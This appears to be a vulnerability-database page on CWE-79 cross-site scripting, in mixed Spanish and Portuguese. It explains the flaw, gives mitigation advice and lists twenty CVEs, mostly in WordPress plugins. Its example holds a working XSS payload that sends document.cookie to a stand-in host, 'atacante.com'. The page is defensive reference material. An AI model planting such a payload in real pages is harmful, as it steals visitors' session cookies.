Fallos del tipo CWE-79

29.963 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-54341HIGHWordPress LabelGrid Tools plugin <= 1.3.58 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-38673HIGHWordPress Multisite Content Copier/Updater plugin <= 1.5.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-8787MEDIUMPortabilis i-Diario Registro das atividades registros-de-conteudos-por-disciplina cross site scriptingEPSS 0.4%CVE-2024-6767MEDIUMWordSurvey <= 3.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via sounding_title ParameterEPSS 0.4%CVE-2024-11940MEDIUMProperty Hive Mortgage Calculator <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via price ParameterEPSS 0.4%CVE-2024-52455HIGHWordPress GoQSmile plugin <= 1.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-47184MEDIUMWordPress Admin Bar & Dashboard Access Control Plugin <= 1.2.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-54333HIGHWordPress Check Pincode For Woocommerce plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-31365HIGHWordPress Post Type Builder (PTB) plugin < 2.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-14554HIGHSell BTC - Cryptocurrency Selling Calculator <= 1.5 - Unauthenticated Stored Cross-Site Scripting via 'orderform_data' AJAX ActionEPSS 0.4%CVE-2024-29924HIGHWordPress Premium Packages plugin <= 5.8.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-32533HIGHWordPress LH Add Media From Url plugin <= 1.22 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-27193HIGHWordPress PayU India plugin <= 3.8.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-52456HIGHWordPress Awesome Studio plugin <= 2.4.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-52454HIGHWordPress GoQMieruca plugin <= 1.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-6252MEDIUMZorlan SkyCaiji Task cross site scriptingEPSS 0.4%CVE-2024-56023HIGHWordPress WP eCommerce Quickpay plugin <= 1.1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-24657MEDIUMWordPress Wishlist for WooCommerce plugin <=2.1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-30574MEDIUMWordPress Mobile Navigation plugin <= - 1.5 Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2024-54328HIGHWordPress Invoice Payment for WooCommerce plugin <= 1.7.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%